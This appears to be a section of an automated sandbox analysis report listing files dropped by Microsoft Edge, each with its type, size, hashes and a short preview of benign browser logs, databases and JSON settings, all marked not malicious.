                                                                                                                                                                          Preview:.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):317
                                                                                                                                                                          Entropy (8bit):5.106145993652062
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:Ed9+q2PqLTwi23oH+Tcwt8NIFUt8F5+Zmw+F56VkwOqLTwi23oH+Tcwt8+eLJ:Ed4v8wZYebpFUt8FI/+FQ5TwZYebqJ
                                                                                                                                                                          MD5:F8142A028C3B26132B5355EC89A1C3ED
                                                                                                                                                                          SHA1:1CB077F12AD846D440533105AB28626AAAB30BD4
                                                                                                                                                                          SHA-256:1B3DF68B65A03AAFF9B8865995D0E1330999C043685C22AD218A65B81BD42AE8
                                                                                                                                                                          SHA-512:1381E4DE349704AF64388AF7F4F932B83CCAF725F1D35B3D6455C0E6DA7453C3E0B7F1F0D8BB5C3C08395370511465B746EB4368DDBA03AC2AF4D5EE1CB37B0C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.373 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/23-02:40:00.374 878 Recovering log #3.2024/12/23-02:40:00.374 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):317
                                                                                                                                                                          Entropy (8bit):5.106145993652062
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:Ed9+q2PqLTwi23oH+Tcwt8NIFUt8F5+Zmw+F56VkwOqLTwi23oH+Tcwt8+eLJ:Ed4v8wZYebpFUt8FI/+FQ5TwZYebqJ
                                                                                                                                                                          MD5:F8142A028C3B26132B5355EC89A1C3ED
                                                                                                                                                                          SHA1:1CB077F12AD846D440533105AB28626AAAB30BD4
                                                                                                                                                                          SHA-256:1B3DF68B65A03AAFF9B8865995D0E1330999C043685C22AD218A65B81BD42AE8
                                                                                                                                                                          SHA-512:1381E4DE349704AF64388AF7F4F932B83CCAF725F1D35B3D6455C0E6DA7453C3E0B7F1F0D8BB5C3C08395370511465B746EB4368DDBA03AC2AF4D5EE1CB37B0C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.373 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/23-02:40:00.374 878 Recovering log #3.2024/12/23-02:40:00.374 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):429
                                                                                                                                                                          Entropy (8bit):5.809210454117189
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
                                                                                                                                                                          MD5:5D1D9020CCEFD76CA661902E0C229087
                                                                                                                                                                          SHA1:DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
                                                                                                                                                                          SHA-256:B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
                                                                                                                                                                          SHA-512:5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 2
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):155648
                                                                                                                                                                          Entropy (8bit):0.5662807397736084
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:96:+onr3WyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE1cRe:+G6hH+bDo3iN0Z2TVJkXBBE3ybW
                                                                                                                                                                          MD5:8A9B10852C627B81609F9C1EEE9353DC
                                                                                                                                                                          SHA1:C2CF4B7C831661FD904E94E8F28010B84CEEB800
                                                                                                                                                                          SHA-256:9AF80F3E4D9E5EB1559380A28CA055DE741FC864E2655A89D3C320A000A059BD
                                                                                                                                                                          SHA-512:9F59EBEEDF705B078A44ED8B853C2850E8481F52E8018B90C89CD3BBCD6C380EDB7CFF151B7F0B99CA10A0751F08DD4A9CDB760C186C003615AE68E2295BDFF4
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):8720
                                                                                                                                                                          Entropy (8bit):0.21838546206064954
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Wz5lntFlljq7A/mhWJFuQ3yy7IOWUG5l/ol/dweytllrE9SFcTp4AGbNCV9RUIjn:WM75fO47wl/d0Xi99pEYd
                                                                                                                                                                          MD5:A556F1E8B239293259AE6639B65C8D43
                                                                                                                                                                          SHA1:8F91C2C1ACBCF993433A4FCF65E5C43243ACD428
                                                                                                                                                                          SHA-256:4F4FBC0FD637EFC04E1228148A1C36C7D46C7009A15FA55A66EE37E2E867D13C
                                                                                                                                                                          SHA-512:9C5E062C7D1CC01A816F9F9144375BA5F3B1F067136A1523579E8105120B37FE1F8240DFCEC681C4D93841E0DFBBD72180EAF3B1A96824DE33CCB57C507B85BB
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.............v>x...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1597), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):115717
                                                                                                                                                                          Entropy (8bit):5.183660917461099
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
                                                                                                                                                                          MD5:3D8183370B5E2A9D11D43EBEF474B305
                                                                                                                                                                          SHA1:155AB0A46E019E834FA556F3D818399BFF02162B
                                                                                                                                                                          SHA-256:6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
                                                                                                                                                                          SHA-512:B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):45056
                                                                                                                                                                          Entropy (8bit):3.918741032637096
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:384:jj9P0AQP/KbtfjlgQkQerGcNhkCgam6IN773pL4RKToaAu:jdFQP/ylge2pN+F97yRKcC
                                                                                                                                                                          MD5:E06FD8B512CB4B6F8B72F8E27C3248C7
                                                                                                                                                                          SHA1:F2C6E5D45281239E0E5CC8BC3A35D5A219FF03CE
                                                                                                                                                                          SHA-256:5541CC622233149EA075DA6AEE78EBE288418E9F7E8056B1E2347DE026289777
                                                                                                                                                                          SHA-512:5D40D29A95052D2D4CE4C264ACCAA635BAAAC0A31A9F444828047BD8BE266771B781194E0FBCE09C99120CCE5B05A2389CFB0363E745764A8C31799F6C445B4C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):401
                                                                                                                                                                          Entropy (8bit):5.267850155536052
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:E4kZv8wZYeb8rcHEZrELFUt8F4y/+F4+5TwZYeb8rcHEZrEZSJ:EFl8wZYeb8nZrExg8F2FTwZYeb8nZrE8
                                                                                                                                                                          MD5:99C0E54052B143C77A05BB3BD3D0611F
                                                                                                                                                                          SHA1:D5675FDFF366737A62F273661880162C1D48D233
                                                                                                                                                                          SHA-256:3DDF7C7085F853A52505927AC382158A149FC586DC850FEC43CB1FB5F97E69CD
                                                                                                                                                                          SHA-512:F5C4C0F8CAAD3C6080DAC6B6E660CF56090E2F6F3BB24785FE574BF9628ADA8B060DE5CC716897B417DE2FA22FE26FC56419458A173BC3CF9ACC8ACB172706F1
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:05.557 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/23-02:40:05.558 878 Recovering log #3.2024/12/23-02:40:05.558 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):401
                                                                                                                                                                          Entropy (8bit):5.267850155536052
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:E4kZv8wZYeb8rcHEZrELFUt8F4y/+F4+5TwZYeb8rcHEZrEZSJ:EFl8wZYeb8nZrExg8F2FTwZYeb8nZrE8
                                                                                                                                                                          MD5:99C0E54052B143C77A05BB3BD3D0611F
                                                                                                                                                                          SHA1:D5675FDFF366737A62F273661880162C1D48D233
                                                                                                                                                                          SHA-256:3DDF7C7085F853A52505927AC382158A149FC586DC850FEC43CB1FB5F97E69CD
                                                                                                                                                                          SHA-512:F5C4C0F8CAAD3C6080DAC6B6E660CF56090E2F6F3BB24785FE574BF9628ADA8B060DE5CC716897B417DE2FA22FE26FC56419458A173BC3CF9ACC8ACB172706F1
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:05.557 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/23-02:40:05.558 878 Recovering log #3.2024/12/23-02:40:05.558 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):332
                                                                                                                                                                          Entropy (8bit):5.11253780517086
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:E2+q2PqLTwi23oH+Tcwt8a2jMGIFUt8FcZmw+FqE3VkwOqLTwi23oH+Tcwt8a2jz:E3v8wZYeb8EFUt8Fc/+Fr5TwZYeb8bJ
                                                                                                                                                                          MD5:226EFC159C766DB0B176F7CC9C256E23
                                                                                                                                                                          SHA1:4C50EF96D30450B4D52E2F775D42DB2ECA5577AF
                                                                                                                                                                          SHA-256:5006A4971F2C2CCEFA62C66B49E7072EE4C917CDEEAC99A6D87D70FB02BE46DF
                                                                                                                                                                          SHA-512:A06A8E6F4830A71334B0C3C03B84DF96DD3336622C2CA5F92C7A4CCF634BD9DE1B1FE4A4182FF0AA65F689F24BC1C73688003CB2D622A5FB3B5FA7A4F6340B91
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.493 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/23-02:40:00.495 14d8 Recovering log #3.2024/12/23-02:40:00.500 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):332
                                                                                                                                                                          Entropy (8bit):5.11253780517086
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:E2+q2PqLTwi23oH+Tcwt8a2jMGIFUt8FcZmw+FqE3VkwOqLTwi23oH+Tcwt8a2jz:E3v8wZYeb8EFUt8Fc/+Fr5TwZYeb8bJ
                                                                                                                                                                          MD5:226EFC159C766DB0B176F7CC9C256E23
                                                                                                                                                                          SHA1:4C50EF96D30450B4D52E2F775D42DB2ECA5577AF
                                                                                                                                                                          SHA-256:5006A4971F2C2CCEFA62C66B49E7072EE4C917CDEEAC99A6D87D70FB02BE46DF
                                                                                                                                                                          SHA-512:A06A8E6F4830A71334B0C3C03B84DF96DD3336622C2CA5F92C7A4CCF634BD9DE1B1FE4A4182FF0AA65F689F24BC1C73688003CB2D622A5FB3B5FA7A4F6340B91
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.493 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/23-02:40:00.495 14d8 Recovering log #3.2024/12/23-02:40:00.500 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2
                                                                                                                                                                          Entropy (8bit):1.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:H:H
                                                                                                                                                                          MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                          SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                          SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                          SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):40
                                                                                                                                                                          Entropy (8bit):4.1275671571169275
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Y2ktGMxkAXWMSN:Y2xFMSN
                                                                                                                                                                          MD5:20D4B8FA017A12A108C87F540836E250
                                                                                                                                                                          SHA1:1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
                                                                                                                                                                          SHA-256:6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
                                                                                                                                                                          SHA-512:507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"SDCH":{"dictionaries":{},"version":2}}
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1618
                                                                                                                                                                          Entropy (8bit):5.308335766461805
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:YcCp/WwC5mWwFGJ/I3RdsnyZVMdmRdsJZFRudFGRRdsXpZ6ma3yeesw6maPsw6Ci:YcCpfC0gCzsmts/fcKsPleeBkBKYhbw
                                                                                                                                                                          MD5:49C6F646A3AFA756839FB0F39447D88E
                                                                                                                                                                          SHA1:D0D3937F0833F43977209422D92CAB523D679295
                                                                                                                                                                          SHA-256:07533C6770AB3191419FA8825CBB6FCFDA10466F8E592121C8D43E36ED711C94
                                                                                                                                                                          SHA-512:70B04E26ACAB7CD9F795A5E34CB3593F905835D589D083A044EB37C5B1531918BDAC27CD68839ADFC075FD521BEC41ADDCA39EEDC013B55ED7297DE9F3F6B492
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382005203770016","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382005211187759","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"1
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):36864
                                                                                                                                                                          Entropy (8bit):1.114128226314978
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBNp:JkIEumQv8m1ccnvS6uza5cI9vPNO1a
                                                                                                                                                                          MD5:742E5081D07C7BF187D58210465FF011
                                                                                                                                                                          SHA1:1800519E97D3AA8B9D17DC218BEAD2E0560CE05F
                                                                                                                                                                          SHA-256:8E107C367C1B35FA199EA4E09287FB144DEBE8B0D896336EFD25A32330FDD385
                                                                                                                                                                          SHA-512:28837B6852C0D6F7ABE08F9DAEF34FB8AB961BE7D2CE295A2A52DB147347CA57C001A8E2C99271379893B7B0CD342ADE085ED38BA614A866DFDFEA15915693D4
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2
                                                                                                                                                                          Entropy (8bit):1.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:H:H
                                                                                                                                                                          MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                          SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                          SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                          SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2
                                                                                                                                                                          Entropy (8bit):1.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:H:H
                                                                                                                                                                          MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                          SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                          SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                          SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2
                                                                                                                                                                          Entropy (8bit):1.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:H:H
                                                                                                                                                                          MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                          SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                          SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                          SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):40
                                                                                                                                                                          Entropy (8bit):4.1275671571169275
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Y2ktGMxkAXWMSN:Y2xFMSN
                                                                                                                                                                          MD5:20D4B8FA017A12A108C87F540836E250
                                                                                                                                                                          SHA1:1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
                                                                                                                                                                          SHA-256:6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
                                                                                                                                                                          SHA-512:507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"SDCH":{"dictionaries":{},"version":2}}
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2
                                                                                                                                                                          Entropy (8bit):1.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:H:H
                                                                                                                                                                          MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                          SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                          SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                          SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2
                                                                                                                                                                          Entropy (8bit):1.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:H:H
                                                                                                                                                                          MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                          SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                          SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                          SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1618
                                                                                                                                                                          Entropy (8bit):5.308335766461805
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:YcCp/WwC5mWwFGJ/I3RdsnyZVMdmRdsJZFRudFGRRdsXpZ6ma3yeesw6maPsw6Ci:YcCpfC0gCzsmts/fcKsPleeBkBKYhbw
                                                                                                                                                                          MD5:49C6F646A3AFA756839FB0F39447D88E
                                                                                                                                                                          SHA1:D0D3937F0833F43977209422D92CAB523D679295
                                                                                                                                                                          SHA-256:07533C6770AB3191419FA8825CBB6FCFDA10466F8E592121C8D43E36ED711C94
                                                                                                                                                                          SHA-512:70B04E26ACAB7CD9F795A5E34CB3593F905835D589D083A044EB37C5B1531918BDAC27CD68839ADFC075FD521BEC41ADDCA39EEDC013B55ED7297DE9F3F6B492
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382005203770016","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382005211187759","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"1
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
